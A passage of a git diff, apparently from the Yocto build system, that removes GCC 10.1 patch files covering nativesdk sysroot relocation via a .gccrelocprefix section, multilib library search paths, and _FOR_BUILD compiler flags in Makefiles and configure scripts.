-@@ -37,8 +37,8 @@ libiberty = $(if $(wildcard $(libiberty_noasan)),$(Wc)$(libiberty_noasan), \
- $(Wc)$(libiberty_normal)))
- libiberty_dep = $(patsubst $(Wc)%,%,$(libiberty))
-
--plugindir = $(libdir)/gcc/$(target_noncanonical)/$(gcc_version)/plugin
--cc1libdir = $(libdir)/$(libsuffix)
-+cc1libdir = $(libexecdir)/gcc/$(target_noncanonical)/$(gcc_version)
-+plugindir = $(cc1libdir)
-
- if ENABLE_PLUGIN
- plugin_LTLIBRARIES = libcc1plugin.la libcp1plugin.la
-diff --git a/libcc1/Makefile.in b/libcc1/Makefile.in
-index 7104b649026..2103c477468 100644
---- a/libcc1/Makefile.in
-+++ b/libcc1/Makefile.in
-@@ -393,8 +393,8 @@ libiberty = $(if $(wildcard $(libiberty_noasan)),$(Wc)$(libiberty_noasan), \
- $(Wc)$(libiberty_normal)))
-
- libiberty_dep = $(patsubst $(Wc)%,%,$(libiberty))
--plugindir = $(libdir)/gcc/$(target_noncanonical)/$(gcc_version)/plugin
--cc1libdir = $(libdir)/$(libsuffix)
-+cc1libdir = $(libexecdir)/gcc/$(target_noncanonical)/$(gcc_version)
-+plugindir = $(cc1libdir)
- @ENABLE_PLUGIN_TRUE@plugin_LTLIBRARIES = libcc1plugin.la libcp1plugin.la
- @ENABLE_PLUGIN_TRUE@cc1lib_LTLIBRARIES = libcc1.la
- shared_source = callbacks.cc callbacks.hh connection.cc connection.hh \
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0024-handle-sysroot-support-for-nativesdk-gcc.patch b/meta/recipes-devtools/gcc/gcc-10.1/0024-handle-sysroot-support-for-nativesdk-gcc.patch
deleted file mode 100644
index 1a65ece7bf..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0024-handle-sysroot-support-for-nativesdk-gcc.patch
+++ /dev/null
@@ -1,346 +0,0 @@
-From bb1f359e34649516e61305e9748534cce7e0ee70 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 7 Dec 2015 23:39:54 +0000
-Subject: [PATCH] handle sysroot support for nativesdk-gcc
-
-Being able to build a nativesdk gcc is useful, particularly in cases
-where the host compiler may be of an incompatible version (or a 32
-bit compiler is needed).
-
-Sadly, building nativesdk-gcc is not straight forward. We install
-nativesdk-gcc into a relocatable location and this means that its
-library locations can change. "Normal" sysroot support doesn't help
-in this case since the values of paths like "libdir" change, not just
-base root directory of the system.
-
-In order to handle this we do two things:
-
-a) Add %r into spec file markup which can be used for injected paths
- such as SYSTEMLIBS_DIR (see gcc_multilib_setup()).
-b) Add other paths which need relocation into a .gccrelocprefix section
- which the relocation code will notice and adjust automatically.
-
-Upstream-Status: Inappropriate
-RP 2015/7/28
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Added PREFIXVAR and EXEC_PREFIXVAR to support runtime relocation. Without
-these as part of the gccrelocprefix the system can't do runtime relocation
-if the executable is moved. (These paths were missed in the original
-implementation.)
-
-Signed-off-by: Mark Hatle <mark.hatle@kernel.crashing.org>
----
- gcc/c-family/c-opts.c | 4 +--
- gcc/cppdefault.c | 63 ++++++++++++++++++++++++++-----------------
- gcc/cppdefault.h | 13 ++++-----
- gcc/gcc.c | 20 +++++++++-----
- gcc/incpath.c | 12 ++++-----
- gcc/prefix.c | 6 +++--
- 6 files changed, 70 insertions(+), 48 deletions(-)
-
-diff --git a/gcc/c-family/c-opts.c b/gcc/c-family/c-opts.c
-index 58ba0948e79..806bbcfb7a5 100644
---- a/gcc/c-family/c-opts.c
-+++ b/gcc/c-family/c-opts.c
-@@ -1409,8 +1409,8 @@ add_prefixed_path (const char *suffix, incpath_kind chain)
- size_t prefix_len, suffix_len;
-
- suffix_len = strlen (suffix);
-- prefix = iprefix ? iprefix : cpp_GCC_INCLUDE_DIR;
-- prefix_len = iprefix ? strlen (iprefix) : cpp_GCC_INCLUDE_DIR_len;
-+ prefix = iprefix ? iprefix : GCC_INCLUDE_DIRVAR;
-+ prefix_len = iprefix ? strlen (iprefix) : strlen(GCC_INCLUDE_DIRVAR) - 7;
-
- path = (char *) xmalloc (prefix_len + suffix_len + 1);
- memcpy (path, prefix, prefix_len);
-diff --git a/gcc/cppdefault.c b/gcc/cppdefault.c
-index 2f43b88a0c3..6b6be04686c 100644
---- a/gcc/cppdefault.c
-+++ b/gcc/cppdefault.c
-@@ -35,6 +35,30 @@
- # undef CROSS_INCLUDE_DIR
- #endif
-
-+static char GPLUSPLUS_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = GPLUSPLUS_INCLUDE_DIR;
-+char GCC_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = GCC_INCLUDE_DIR;
-+static char GPLUSPLUS_TOOL_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = GPLUSPLUS_TOOL_INCLUDE_DIR;
-+static char GPLUSPLUS_BACKWARD_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = GPLUSPLUS_BACKWARD_INCLUDE_DIR;
-+static char STANDARD_STARTFILE_PREFIX_2VAR[4096] __attribute__ ((section (".gccrelocprefix"))) = STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET;
-+#ifdef LOCAL_INCLUDE_DIR
-+static char LOCAL_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = LOCAL_INCLUDE_DIR;
-+#endif
-+#ifdef PREFIX_INCLUDE_DIR
-+static char PREFIX_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = PREFIX_INCLUDE_DIR;
-+#endif
-+#ifdef FIXED_INCLUDE_DIR
-+static char FIXED_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = FIXED_INCLUDE_DIR;
-+#endif
-+#ifdef CROSS_INCLUDE_DIR
-+static char CROSS_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = CROSS_INCLUDE_DIR;
-+#endif
-+#ifdef TOOL_INCLUDE_DIR
-+static char TOOL_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = TOOL_INCLUDE_DIR;
-+#endif
-+#ifdef NATIVE_SYSTEM_HEADER_DIR
-+static char NATIVE_SYSTEM_HEADER_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = NATIVE_SYSTEM_HEADER_DIR;
-+#endif
-+
- const struct default_include cpp_include_defaults[]
- #ifdef INCLUDE_DEFAULTS
- = INCLUDE_DEFAULTS;
-@@ -42,38 +66,38 @@ const struct default_include cpp_include_defaults[]
- = {
- #ifdef GPLUSPLUS_INCLUDE_DIR
- /* Pick up GNU C++ generic include files. */
-- { GPLUSPLUS_INCLUDE_DIR, "G++", 1, 1,
-+ { GPLUSPLUS_INCLUDE_DIRVAR, "G++", 1, 1,
- GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 },
- #endif
- #ifdef GPLUSPLUS_TOOL_INCLUDE_DIR
- /* Pick up GNU C++ target-dependent include files. */
-- { GPLUSPLUS_TOOL_INCLUDE_DIR, "G++", 1, 1,
-+ { GPLUSPLUS_TOOL_INCLUDE_DIRVAR, "G++", 1, 1,
- GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 1 },
- #endif
- #ifdef GPLUSPLUS_BACKWARD_INCLUDE_DIR
- /* Pick up GNU C++ backward and deprecated include files. */
-- { GPLUSPLUS_BACKWARD_INCLUDE_DIR, "G++", 1, 1,
-+ { GPLUSPLUS_BACKWARD_INCLUDE_DIRVAR, "G++", 1, 1,
- GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 },
- #endif
- #ifdef GCC_INCLUDE_DIR
- /* This is the dir for gcc's private headers. */
-- { GCC_INCLUDE_DIR, "GCC", 0, 0, 0, 0 },
-+ { GCC_INCLUDE_DIRVAR, "GCC", 0, 0, 0, 0 },
- #endif
- #ifdef GCC_INCLUDE_SUBDIR_TARGET
- /* This is the dir for gcc's private headers under the specified sysroot. */
-- { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0 },
-+ { STANDARD_STARTFILE_PREFIX_2VAR, "GCC", 0, 0, 1, 0 },
- #endif
- #ifdef LOCAL_INCLUDE_DIR
- /* /usr/local/include comes before the fixincluded header files. */
-- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 2 },
-- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 0 },
-+ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 2 },
-+ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 0 },
- #endif
- #ifdef PREFIX_INCLUDE_DIR
-- { PREFIX_INCLUDE_DIR, 0, 0, 1, 0, 0 },
-+ { PREFIX_INCLUDE_DIRVAR, 0, 0, 1, 0, 0 },
- #endif
- #ifdef FIXED_INCLUDE_DIR
- /* This is the dir for fixincludes. */
-- { FIXED_INCLUDE_DIR, "GCC", 0, 0, 0,
-+ { FIXED_INCLUDE_DIRVAR, "GCC", 0, 0, 0,
- /* A multilib suffix needs adding if different multilibs use
- different headers. */
- #ifdef SYSROOT_HEADERS_SUFFIX_SPEC
-@@ -85,33 +109,24 @@ const struct default_include cpp_include_defaults[]
- #endif
- #ifdef CROSS_INCLUDE_DIR
- /* One place the target system's headers might be. */
-- { CROSS_INCLUDE_DIR, "GCC", 0, 0, 0, 0 },
-+ { CROSS_INCLUDE_DIRVAR, "GCC", 0, 0, 0, 0 },
- #endif
- #ifdef TOOL_INCLUDE_DIR
- /* Another place the target system's headers might be. */
-- { TOOL_INCLUDE_DIR, "BINUTILS", 0, 1, 0, 0 },
-+ { TOOL_INCLUDE_DIRVAR, "BINUTILS", 0, 1, 0, 0 },
- #endif
- #ifdef NATIVE_SYSTEM_HEADER_DIR
- /* /usr/include comes dead last. */
-- { NATIVE_SYSTEM_HEADER_DIR, NATIVE_SYSTEM_HEADER_COMPONENT, 0, 0, 1, 2 },
-- { NATIVE_SYSTEM_HEADER_DIR, NATIVE_SYSTEM_HEADER_COMPONENT, 0, 0, 1, 0 },
-+ { NATIVE_SYSTEM_HEADER_DIRVAR, NATIVE_SYSTEM_HEADER_COMPONENT, 0, 0, 1, 2 },
-+ { NATIVE_SYSTEM_HEADER_DIRVAR, NATIVE_SYSTEM_HEADER_COMPONENT, 0, 0, 1, 0 },
- #endif
- { 0, 0, 0, 0, 0, 0 }
- };
- #endif /* no INCLUDE_DEFAULTS */
-
--#ifdef GCC_INCLUDE_DIR
--const char cpp_GCC_INCLUDE_DIR[] = GCC_INCLUDE_DIR;
--const size_t cpp_GCC_INCLUDE_DIR_len = sizeof GCC_INCLUDE_DIR - 8;
--#else
--const char cpp_GCC_INCLUDE_DIR[] = "";
--const size_t cpp_GCC_INCLUDE_DIR_len = 0;
--#endif
--
- /* The configured prefix. */
--const char cpp_PREFIX[] = PREFIX;
--const size_t cpp_PREFIX_len = sizeof PREFIX - 1;
--const char cpp_EXEC_PREFIX[] = STANDARD_EXEC_PREFIX;
-+char PREFIXVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = PREFIX;
-+char EXEC_PREFIXVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = STANDARD_EXEC_PREFIX;
-
- /* This value is set by cpp_relocated at runtime */
- const char *gcc_exec_prefix;
-diff --git a/gcc/cppdefault.h b/gcc/cppdefault.h
-index a681264f75e..5e10a2fa140 100644
---- a/gcc/cppdefault.h
-+++ b/gcc/cppdefault.h
-@@ -33,7 +33,8 @@
-
- struct default_include
- {
-- const char *const fname; /* The name of the directory. */
-+ const char *fname; /* The name of the directory. */
-+
- const char *const component; /* The component containing the directory
- (see update_path in prefix.c) */
- const char cplusplus; /* Only look here if we're compiling C++. */
-@@ -50,17 +51,13 @@ struct default_include
- };
-
- extern const struct default_include cpp_include_defaults[];
--extern const char cpp_GCC_INCLUDE_DIR[];
--extern const size_t cpp_GCC_INCLUDE_DIR_len;
-+extern char GCC_INCLUDE_DIRVAR[] __attribute__ ((section (".gccrelocprefix")));
-
- /* The configure-time prefix, i.e., the value supplied as the argument
- to --prefix=. */
--extern const char cpp_PREFIX[];
-+extern char PREFIXVAR[] __attribute__ ((section (".gccrelocprefix")));
- /* The length of the configure-time prefix. */
--extern const size_t cpp_PREFIX_len;
--/* The configure-time execution prefix. This is typically the lib/gcc
-- subdirectory of cpp_PREFIX. */
--extern const char cpp_EXEC_PREFIX[];
-+extern char EXEC_PREFIXVAR[] __attribute__ ((section (".gccrelocprefix")));
- /* The run-time execution prefix. This is typically the lib/gcc
- subdirectory of the actual installation. */
- extern const char *gcc_exec_prefix;
-diff --git a/gcc/gcc.c b/gcc/gcc.c
-index c87f603955f..535d5c3bb65 100644
---- a/gcc/gcc.c
-+++ b/gcc/gcc.c
-@@ -252,6 +252,8 @@ FILE *report_times_to_file = NULL;
- #endif
- static const char *target_system_root = DEFAULT_TARGET_SYSTEM_ROOT;
-
-+static char target_relocatable_prefix[4096] __attribute__ ((section (".gccrelocprefix"))) = SYSTEMLIBS_DIR;
-+
- /* Nonzero means pass the updated target_system_root to the compiler. */
-
- static int target_system_root_changed;
-@@ -526,6 +528,7 @@ or with constant text in a single argument.
- %G process LIBGCC_SPEC as a spec.
- %R Output the concatenation of target_system_root and
- target_sysroot_suffix.
-+ %r Output the base path target_relocatable_prefix
- %S process STARTFILE_SPEC as a spec. A capital S is actually used here.
- %E process ENDFILE_SPEC as a spec. A capital E is actually used here.
- %C process CPP_SPEC as a spec.
-@@ -1499,10 +1502,10 @@ static const char *gcc_libexec_prefix;
- gcc_exec_prefix is set because, in that case, we know where the
- compiler has been installed, and use paths relative to that
- location instead. */
--static const char *const standard_exec_prefix = STANDARD_EXEC_PREFIX;
--static const char *const standard_libexec_prefix = STANDARD_LIBEXEC_PREFIX;
--static const char *const standard_bindir_prefix = STANDARD_BINDIR_PREFIX;
--static const char *const standard_startfile_prefix = STANDARD_STARTFILE_PREFIX;
-+static char standard_exec_prefix[4096] __attribute__ ((section (".gccrelocprefix"))) = STANDARD_EXEC_PREFIX;
-+static char standard_libexec_prefix[4096] __attribute__ ((section (".gccrelocprefix"))) = STANDARD_LIBEXEC_PREFIX;
-+static char standard_bindir_prefix[4096] __attribute__ ((section (".gccrelocprefix"))) = STANDARD_BINDIR_PREFIX;
-+static char *const standard_startfile_prefix = STANDARD_STARTFILE_PREFIX;
-
- /* For native compilers, these are well-known paths containing
- components that may be provided by the system. For cross
-@@ -1510,9 +1513,9 @@ static const char *const standard_startfile_prefix = STANDARD_STARTFILE_PREFIX;
- static const char *md_exec_prefix = MD_EXEC_PREFIX;
- static const char *md_startfile_prefix = MD_STARTFILE_PREFIX;
- static const char *md_startfile_prefix_1 = MD_STARTFILE_PREFIX_1;
--static const char *const standard_startfile_prefix_1
-+static char standard_startfile_prefix_1[4096] __attribute__ ((section (".gccrelocprefix")))
- = STANDARD_STARTFILE_PREFIX_1;
--static const char *const standard_startfile_prefix_2
-+static char standard_startfile_prefix_2[4096] __attribute__ ((section (".gccrelocprefix")))
- = STANDARD_STARTFILE_PREFIX_2;
-
- /* A relative path to be used in finding the location of tools
-@@ -5952,6 +5955,11 @@ do_spec_1 (const char *spec, int inswitch, const char *soft_matched_part)
- }
- break;
-
-+ case 'r':
-+ obstack_grow (&obstack, target_relocatable_prefix,
-+ strlen (target_relocatable_prefix));
-+ break;
-+
- case 'S':
- value = do_spec_1 (startfile_spec, 0, NULL);
- if (value != 0)
-diff --git a/gcc/incpath.c b/gcc/incpath.c
-index 9098ab044ab..bfad4ebe382 100644
---- a/gcc/incpath.c
-+++ b/gcc/incpath.c
-@@ -131,7 +131,7 @@ add_standard_paths (const char *sysroot, const char *iprefix,
- int relocated = cpp_relocated ();
- size_t len;
-
-- if (iprefix && (len = cpp_GCC_INCLUDE_DIR_len) != 0)
-+ if (iprefix && (len = strlen(GCC_INCLUDE_DIRVAR) - 7) != 0)
- {
- /* Look for directories that start with the standard prefix.
- "Translate" them, i.e. replace /usr/local/lib/gcc... with
-@@ -145,7 +145,7 @@ add_standard_paths (const char *sysroot, const char *iprefix,
- now. */
- if (sysroot && p->add_sysroot)
- continue;
-- if (!filename_ncmp (p->fname, cpp_GCC_INCLUDE_DIR, len))
-+ if (!filename_ncmp (p->fname, GCC_INCLUDE_DIRVAR, len))
- {
- char *str = concat (iprefix, p->fname + len, NULL);
- if (p->multilib == 1 && imultilib)
-@@ -185,7 +185,7 @@ add_standard_paths (const char *sysroot, const char *iprefix,
- free (sysroot_no_trailing_dir_separator);
- }
- else if (!p->add_sysroot && relocated
-- && !filename_ncmp (p->fname, cpp_PREFIX, cpp_PREFIX_len))
-+ && !filename_ncmp (p->fname, PREFIXVAR, strlen(PREFIXVAR)))
- {
- static const char *relocated_prefix;
- char *ostr;
-@@ -202,12 +202,12 @@ add_standard_paths (const char *sysroot, const char *iprefix,
- dummy = concat (gcc_exec_prefix, "dummy", NULL);
- relocated_prefix
- = make_relative_prefix (dummy,
-- cpp_EXEC_PREFIX,
-- cpp_PREFIX);
-+ EXEC_PREFIXVAR,
-+ PREFIXVAR);
- free (dummy);
- }
- ostr = concat (relocated_prefix,
-- p->fname + cpp_PREFIX_len,
-+ p->fname + strlen(PREFIXVAR),
- NULL);
- str = update_path (ostr, p->component);
- free (ostr);
-diff --git a/gcc/prefix.c b/gcc/prefix.c
-index 1a403e535bd..3257ed3cd3e 100644
---- a/gcc/prefix.c
-+++ b/gcc/prefix.c
-@@ -72,7 +72,9 @@ License along with GCC; see the file COPYING3. If not see
- #include "prefix.h"
- #include "common/common-target.h"
-
--static const char *std_prefix = PREFIX;
-+static const char PREFIXVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = PREFIX;
-+
-+static const char *std_prefix = PREFIXVAR;
-
- static const char *get_key_value (char *);
- static char *translate_name (char *);
-@@ -212,7 +214,7 @@ translate_name (char *name)
- prefix = getenv (key);
-
- if (prefix == 0)
-- prefix = PREFIX;
-+ prefix = PREFIXVAR;
-
- /* We used to strip trailing DIR_SEPARATORs here, but that can
- sometimes yield a result with no separator when one was coded
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0025-Search-target-sysroot-gcc-version-specific-dirs-with.patch b/meta/recipes-devtools/gcc/gcc-10.1/0025-Search-target-sysroot-gcc-version-specific-dirs-with.patch
deleted file mode 100644
index abf1f8491f..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0025-Search-target-sysroot-gcc-version-specific-dirs-with.patch
+++ /dev/null
@@ -1,99 +0,0 @@
-From 9c0c73ee48dbee2aad57f4dcdad1b7b74e77b944 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 7 Dec 2015 23:41:45 +0000
-Subject: [PATCH] Search target sysroot gcc version specific dirs with
- multilib.
-
-We install the gcc libraries (such as crtbegin.p) into
-<sysroot><libdir>/<target-sys>/5.2.0/
-which is a default search path for GCC (aka multi_suffix in the
-code below). <target-sys> is 'machine' in gcc's terminology. We use
-these directories so that multiple gcc versions could in theory
-co-exist on target.
-
-We only want to build one gcc-cross-canadian per arch and have this work
-for all multilibs. <target-sys> can be handled by mapping the multilib
-<target-sys> to the one used by gcc-cross-canadian, e.g.
-mips64-polkmllib32-linux
-is symlinked to by mips64-poky-linux.
-
-The default gcc search path in the target sysroot for a "lib64" mutlilib
-is:
-
-<sysroot>/lib32/mips64-poky-linux/5.2.0/
-<sysroot>/lib32/../lib64/
-<sysroot>/usr/lib32/mips64-poky-linux/5.2.0/
-<sysroot>/usr/lib32/../lib64/
-<sysroot>/lib32/
-<sysroot>/usr/lib32/
-
-which means that the lib32 crtbegin.o will be found and the lib64 ones
-will not which leads to compiler failures.
-
-This patch injects a multilib version of that path first so the lib64
-binaries can be found first. With this change the search path becomes:
-
-<sysroot>/lib32/../lib64/mips64-poky-linux/5.2.0/
-<sysroot>/lib32/mips64-poky-linux/5.2.0/
-<sysroot>/lib32/../lib64/
-<sysroot>/usr/lib32/../lib64/mips64-poky-linux/5.2.0/
-<sysroot>/usr/lib32/mips64-poky-linux/5.2.0/
-<sysroot>/usr/lib32/../lib64/
-<sysroot>/lib32/
-<sysroot>/usr/lib32/
-
-Upstream-Status: Pending
-RP 2015/7/31
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gcc/gcc.c | 29 ++++++++++++++++++++++++++++-
- 1 file changed, 28 insertions(+), 1 deletion(-)
-
-diff --git a/gcc/gcc.c b/gcc/gcc.c
-index 535d5c3bb65..04647ae812d 100644
---- a/gcc/gcc.c
-+++ b/gcc/gcc.c
-@@ -2616,7 +2616,7 @@ for_each_path (const struct path_prefix *paths,
- if (path == NULL)
- {
- len = paths->max_len + extra_space + 1;
-- len += MAX (MAX (suffix_len, multi_os_dir_len), multiarch_len);
-+ len += MAX ((suffix_len + multi_os_dir_len), multiarch_len);
- path = XNEWVEC (char, len);
- }
-
-@@ -2628,6 +2628,33 @@ for_each_path (const struct path_prefix *paths,
- /* Look first in MACHINE/VERSION subdirectory. */
- if (!skip_multi_dir)
- {
-+ if (!(pl->os_multilib ? skip_multi_os_dir : skip_multi_dir))
-+ {
-+ const char *this_multi;
-+ size_t this_multi_len;
-+
-+ if (pl->os_multilib)
-+ {
-+ this_multi = multi_os_dir;
-+ this_multi_len = multi_os_dir_len;
-+ }
-+ else
-+ {
-+ this_multi = multi_dir;
-+ this_multi_len = multi_dir_len;
-+ }
-+
-+ /* Look in multilib MACHINE/VERSION subdirectory first */
-+ if (this_multi_len)
-+ {
-+ memcpy (path + len, this_multi, this_multi_len + 1);
-+ memcpy (path + len + this_multi_len, multi_suffix, suffix_len + 1);
-+ ret = callback (path, callback_info);
-+ if (ret)
-+ break;
-+ }
-+ }
-+
- memcpy (path + len, multi_suffix, suffix_len + 1);
- ret = callback (path, callback_info);
- if (ret)
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0026-Fix-various-_FOR_BUILD-and-related-variables.patch b/meta/recipes-devtools/gcc/gcc-10.1/0026-Fix-various-_FOR_BUILD-and-related-variables.patch
deleted file mode 100644
index 97bf2f3a73..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0026-Fix-various-_FOR_BUILD-and-related-variables.patch
+++ /dev/null
@@ -1,134 +0,0 @@
-From 3a003af8804dda90fdf4862eca5f66cb12faaf02 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 7 Dec 2015 23:42:45 +0000
-Subject: [PATCH] Fix various _FOR_BUILD and related variables
-
-When doing a FOR_BUILD thing, you have to override CFLAGS with
-CFLAGS_FOR_BUILD. And if you use C++, you also have to override
-CXXFLAGS with CXXFLAGS_FOR_BUILD.
-Without this, when building for mingw, you end up trying to use
-the mingw headers for a host build.
-
-The same goes for other variables as well, such as CPPFLAGS,
-CPP, and GMPINC.
-
-Upstream-Status: Pending
-
-Signed-off-by: Peter Seebach <peter.seebach@windriver.com>
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- Makefile.in | 6 ++++++
- Makefile.tpl | 5 +++++
- gcc/Makefile.in | 2 +-
- gcc/configure | 2 +-
- gcc/configure.ac | 2 +-
- 5 files changed, 14 insertions(+), 3 deletions(-)
-
-diff --git a/Makefile.in b/Makefile.in
-index c717903bb13..5abc649868d 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -152,6 +152,7 @@ BUILD_EXPORTS = \
- CPP="$(CC_FOR_BUILD) -E"; export CPP; \
- CFLAGS="$(CFLAGS_FOR_BUILD)"; export CFLAGS; \
- CONFIG_SHELL="$(SHELL)"; export CONFIG_SHELL; \
-+ CPPFLAGS="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS; \
- CXX="$(CXX_FOR_BUILD)"; export CXX; \
- CXXFLAGS="$(CXXFLAGS_FOR_BUILD)"; export CXXFLAGS; \
- GFORTRAN="$(GFORTRAN_FOR_BUILD)"; export GFORTRAN; \
-@@ -171,6 +172,9 @@ BUILD_EXPORTS = \
- # built for the build system to override those in BASE_FLAGS_TO_PASS.
- EXTRA_BUILD_FLAGS = \
- CFLAGS="$(CFLAGS_FOR_BUILD)" \
-+ CXXFLAGS="$(CXXFLAGS_FOR_BUILD)" \
-+ CPP="$(CC_FOR_BUILD) -E" \
-+ CPPFLAGS="$(CPPFLAGS_FOR_BUILD)" \
- LDFLAGS="$(LDFLAGS_FOR_BUILD)"
-
- # This is the list of directories to built for the host system.
-@@ -188,6 +192,7 @@ HOST_SUBDIR = @host_subdir@
- HOST_EXPORTS = \
- $(BASE_EXPORTS) \
- CC="$(CC)"; export CC; \
-+ CPP="$(CC) -E"; export CPP; \
- ADA_CFLAGS="$(ADA_CFLAGS)"; export ADA_CFLAGS; \
- CFLAGS="$(CFLAGS)"; export CFLAGS; \
- CONFIG_SHELL="$(SHELL)"; export CONFIG_SHELL; \
-@@ -776,6 +781,7 @@ BASE_FLAGS_TO_PASS = \
- "CC_FOR_BUILD=$(CC_FOR_BUILD)" \
- "CFLAGS_FOR_BUILD=$(CFLAGS_FOR_BUILD)" \
- "CXX_FOR_BUILD=$(CXX_FOR_BUILD)" \
-+ "CXXFLAGS_FOR_BUILD=$(CXXFLAGS_FOR_BUILD)" \
- "EXPECT=$(EXPECT)" \
- "FLEX=$(FLEX)" \
- "INSTALL=$(INSTALL)" \
-diff --git a/Makefile.tpl b/Makefile.tpl
-index efed1511750..778beb705b4 100644
---- a/Makefile.tpl
-+++ b/Makefile.tpl
-@@ -154,6 +154,7 @@ BUILD_EXPORTS = \
- CC="$(CC_FOR_BUILD)"; export CC; \
- CFLAGS="$(CFLAGS_FOR_BUILD)"; export CFLAGS; \
- CONFIG_SHELL="$(SHELL)"; export CONFIG_SHELL; \
-+ CPPFLAGS="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS; \
- CXX="$(CXX_FOR_BUILD)"; export CXX; \
- CXXFLAGS="$(CXXFLAGS_FOR_BUILD)"; export CXXFLAGS; \
- GFORTRAN="$(GFORTRAN_FOR_BUILD)"; export GFORTRAN; \
-@@ -173,6 +174,9 @@ BUILD_EXPORTS = \
- # built for the build system to override those in BASE_FLAGS_TO_PASS.
- EXTRA_BUILD_FLAGS = \
- CFLAGS="$(CFLAGS_FOR_BUILD)" \
-+ CXXFLAGS="$(CXXFLAGS_FOR_BUILD)" \
-+ CPP="$(CC_FOR_BUILD) -E" \
-+ CPPFLAGS="$(CPPFLAGS_FOR_BUILD)" \
- LDFLAGS="$(LDFLAGS_FOR_BUILD)"
-
- # This is the list of directories to built for the host system.
-@@ -190,6 +194,7 @@ HOST_SUBDIR = @host_subdir@
- HOST_EXPORTS = \
- $(BASE_EXPORTS) \
- CC="$(CC)"; export CC; \
-+ CPP="$(CC) -E"; export CPP; \
- ADA_CFLAGS="$(ADA_CFLAGS)"; export ADA_CFLAGS; \
- CFLAGS="$(CFLAGS)"; export CFLAGS; \
- CONFIG_SHELL="$(SHELL)"; export CONFIG_SHELL; \
-diff --git a/gcc/Makefile.in b/gcc/Makefile.in
-index 011c7ac2db6..2f1165f7b5e 100644
---- a/gcc/Makefile.in
-+++ b/gcc/Makefile.in
-@@ -805,7 +805,7 @@ BUILD_LDFLAGS=@BUILD_LDFLAGS@
- BUILD_NO_PIE_FLAG = @BUILD_NO_PIE_FLAG@
- BUILD_LDFLAGS += $(BUILD_NO_PIE_FLAG)
- BUILD_CPPFLAGS= -I. -I$(@D) -I$(srcdir) -I$(srcdir)/$(@D) \
-- -I$(srcdir)/../include @INCINTL@ $(CPPINC) $(CPPFLAGS)
-+ -I$(srcdir)/../include @INCINTL@ $(CPPINC) $(CPPFLAGS_FOR_BUILD)
-
- # Actual name to use when installing a native compiler.
- GCC_INSTALL_NAME := $(shell echo gcc|sed '$(program_transform_name)')
-diff --git a/gcc/configure b/gcc/configure
-index 825a9652329..ff46cf58960 100755
---- a/gcc/configure
-+++ b/gcc/configure
-@@ -12314,7 +12314,7 @@ else
- CC="${CC_FOR_BUILD}" CFLAGS="${CFLAGS_FOR_BUILD}" \
- CXX="${CXX_FOR_BUILD}" CXXFLAGS="${CXXFLAGS_FOR_BUILD}" \
- LD="${LD_FOR_BUILD}" LDFLAGS="${LDFLAGS_FOR_BUILD}" \
-- GMPINC="" CPPFLAGS="${CPPFLAGS} -DGENERATOR_FILE" \
-+ GMPINC="" CPPFLAGS="${CPPFLAGS_FOR_BUILD} -DGENERATOR_FILE" \
- ${realsrcdir}/configure \
- --enable-languages=${enable_languages-all} \
- ${enable_obsolete+--enable-obsolete="$enable_obsolete"} \
-diff --git a/gcc/configure.ac b/gcc/configure.ac
-index 6099eb3251f..b3c345b61dc 100644
---- a/gcc/configure.ac
-+++ b/gcc/configure.ac
-@@ -1898,7 +1898,7 @@ else
- CC="${CC_FOR_BUILD}" CFLAGS="${CFLAGS_FOR_BUILD}" \
- CXX="${CXX_FOR_BUILD}" CXXFLAGS="${CXXFLAGS_FOR_BUILD}" \
- LD="${LD_FOR_BUILD}" LDFLAGS="${LDFLAGS_FOR_BUILD}" \
-- GMPINC="" CPPFLAGS="${CPPFLAGS} -DGENERATOR_FILE" \
-+ GMPINC="" CPPFLAGS="${CPPFLAGS_FOR_BUILD} -DGENERATOR_FILE" \
- ${realsrcdir}/configure \
- --enable-languages=${enable_languages-all} \
- ${enable_obsolete+--enable-obsolete="$enable_obsolete"} \
